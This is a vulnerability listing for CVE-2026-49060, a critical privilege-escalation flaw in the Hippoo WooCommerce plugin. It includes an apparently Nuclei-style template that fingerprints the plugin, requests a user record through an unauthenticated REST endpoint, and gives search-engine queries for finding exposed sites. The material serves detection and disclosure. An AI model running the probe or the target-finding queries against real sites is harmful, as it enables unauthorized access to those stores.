CVE-2026-49060: Hippoo Mobile App for WooCommerce - Broken Access Control

2026-09-23 Unknown PoC Public

Description

Hippoo Mobile App for WooCommerce <= 1.9.4 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.

PoC

id: CVE-2026-49060

info:
  name: Hippoo Mobile App for WooCommerce - Broken Access Control
  author: theamanrawat
  severity: critical
  description: |
    Hippoo Mobile App for WooCommerce <= 1.9.4 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.
  impact: |
    Attackers can escalate their privileges, potentially gaining unauthorized access or control over the application.
  remediation: |
    Update to the latest version.
  reference:
    - https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
    - https://github.com/advisories/GHSA-mh6m-7983-2r5w
    - https://wordpress.org/plugins/hippoo/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49060
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-49060
    cwe-id: CWE-266
  metadata:
    verified: true
    max-request: 3
    vendor: hippoo
    product: hippoo
    framework: wordpress
    fofa-query: body="/wp-content/plugins/hippoo/"
    publicwww-query: "/wp-content/plugins/hippoo"
  tags: cve,cve2026,wordpress,broken-access-control,privilege-escalation,hippoo,woocommerce,kev,unauth,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/hippoo/readme.txt"

    matchers:
      - type: word
        part: body
        words:
          - "Hippoo"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1"
      - "{{BaseURL}}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"slug\":"
          - "\"avatar_urls\":"
          - "\"_links\":"
          - "\"link\":"
        condition: or

      - type: word
        part: body
        words:
          - "rest_forbidden"
          - "not allowed"
        negative: true

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210094733b3df6bc923793c274489f53c9cb412d7522553df94ca0bd217c2f17d59702201ef22ad3cafc2096f5d3c1552aee14c65553d67fab702d866fe9825eeef2ec9b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.